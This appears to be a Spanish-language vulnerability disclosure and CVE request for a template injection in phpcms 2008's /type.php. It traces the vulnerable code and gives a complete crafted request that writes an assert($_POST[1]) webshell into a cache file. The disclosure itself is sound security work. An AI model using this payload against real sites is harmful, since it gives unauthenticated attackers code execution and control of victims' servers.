
Prueba de concepto del exploit para CVE-2018-19127, que demuestra una vulnerabilidad de inyección de plantillas en phpcms 2008 que permite a atacantes no autenticados escribir código PHP arbitrario en un archivo de caché y ejecutarlo como una webshell.
Recientemente encontramos una vulnerabilidad en /type.php del código fuente de phpcms 2008. Cuando los atacantes envían solicitudes manipuladas como "/type.php?template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss", el contenido malicioso (en este caso "@unlink(FILE);assert($_POST[1]);") se escribirá en el archivo de caché (en este caso "/cache_template/rss.tpl.php") en el sitio web phpcms 2008.
Existe el siguiente código en /type.php:
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);
Y template() está definida en /include/global.func.php con el siguiente código:
template_compile($module, $template, $istag);
Nuevamente llama a template_compile(), que está definida en /include/template.func.php de la siguiente manera:
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
En la carga útil del ataque, $template se establece en "tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss".
Por lo tanto, la ruta completa pasada a file_put_contents() ahora es "data/cache_template/phpcms_tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss.tpl.php", que será interpretada por PHP como "data/cache_template/rss.tpl.php". Y el contenido "@unlink(FILE);assert($_POST[1]);" se escribirá en este archivo, permitiendo al atacante usar este archivo como webshell para ejecutar código arbitrario.
La causa raíz del problema es que la variable $template no se filtra antes de ser utilizada como parte de la ruta del archivo y del contenido del archivo.
Nos hemos puesto en contacto con el proveedor de phpcms a través del método en su sitio web oficial, pero el teléfono no está disponible y el mensaje no ha tenido respuesta. Phpcms 2008 no es la versión más reciente de phpcms, pero muchos usuarios aún utilizan esta versión. La vulnerabilidad que encontramos nunca ha sido encontrada ni se le ha asignado un CVE. Por favor, asigne a la vulnerabilidad un identificador CVE para que podamos advertir a los usuarios sobre ella.